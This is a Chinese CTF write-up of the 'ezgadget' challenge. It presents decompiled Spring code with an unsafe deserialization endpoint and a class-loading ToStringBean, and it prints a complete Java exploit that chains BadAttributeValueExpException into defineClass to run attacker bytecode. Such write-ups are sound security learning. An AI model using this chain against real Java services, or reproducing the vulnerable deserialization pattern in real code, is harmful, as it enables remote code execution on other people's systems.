CTF:简单的ezgadget
前言
摸鱼了好几天,来点康复训练吧,今天来题简单的ctf题,东华杯的ezgadget,先把源码下载,然后反编译。
正文
大致目录结构如下,包括了一个UserBean,一个IndexController,一个tools类和一个ToStringBean类
User.java,这就是一个普通的实现Serializable接口的一个JavaBean
package com.ezgame.ctf.bean;
import java.io.Serializable;
/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/bean/User.class */
public class User implements Serializable {
private String UserName;
private String PassWord;
public String getUserName() {
return this.UserName;
}
public void setUserName(String userName) {
this.UserName = userName;
}
public String getPassWord() {
return this.PassWord;
}
public void setPassWord(String passWord) {
this.PassWord = passWord;
}
public String toString() {
return "User{UserName='" + this.UserName + "', PassWord='" + this.PassWord + "'}";
}
}
IndexController.java,在/readObject里传入一个data值,把data通过base64解码,然后给字节流,再给对象输入流,从流中先读取一个String类型的name,再读取一个int类型的year,需要满足name=gadgets并且year=2021
package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/controller/IndexController.class */
public class IndexController {
@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request, HttpServletResponse response) {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
@RequestMapping({"/readobject"})
@ResponseBody
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (!name.equals("gadgets") || year != 2021) {
return "welcome bro.";
}
objectInputStream.readObject();
return "welcome bro.";
}
}
tools.java,一个工具类,提供了base64编码解码以及序列化和反序列化的功能
package com.ezgame.ctf.tools;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/tools/Tools.class */
public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
ToStringBean.java ,这个类其实很奇怪,继承了ClassLoader类和实了Serializable接口,并且在他的toString方法中实例化了一个ToStringBean对象,并且使用他的defineClass方法,我们知道这个defineClass是加载字节码的,所以说这里的话我们可以通过调用toString方法来加载我们的恶意字节码,所以我们需要构造一个恶意类,并且先往流里面写入一个String类型的name和int类型的year,再写入我们的恶意类即可
package com.ezgame.ctf.tools;
import java.io.Serializable;
/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/tools/ToStringBean.class */
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass(null, this.ClassByte, 0, this.ClassByte.length);
try {
clazz.newInstance();
return "enjoy it.";
} catch (IllegalAccessException e) {
e.printStackTrace();
return "enjoy it.";
} catch (InstantiationException e2) {
e2.printStackTrace();
return "enjoy it.";
}
}
}
所以思路很清晰,如果是toString的话,就使用BadAttributeValueExpException,也就是CC5那条链。这里有几个坑点,首先是在new BadAttributeValueExpException的时候需要随便输入几个数组, 然后再使用反射去修改他的val值,防止在第一遍就触发,还有就是base64编码以后,会存在加号,加号默认是空格,所以我们需要进行url编码。最终的调用链如下
BadAttributeValueExpException.readObject->ToStringBean->toString->defineClass+newInstance()
最终的payload如下:
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class exp {
public static void main(String[] args) throws Exception {
ToStringBean toStringBean=new ToStringBean();
Class clazz=ToStringBean.class;
Field classByte = clazz.getDeclaredField("ClassByte");
classByte.setAccessible(true);
byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\86155\\Desktop\\student-manage-master\\ezgadget\\target\\classes\\payload.class"));
classByte.set(toStringBean,bytes);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(123456);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,toStringBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1=byteArrayOutputStream.toByteArray();
System.out.println(Tools.base64Encode(bytes1));
}
}
其中payload.class是我们的恶意类,然后启动我们的jar包
java -jar ezgadget.jar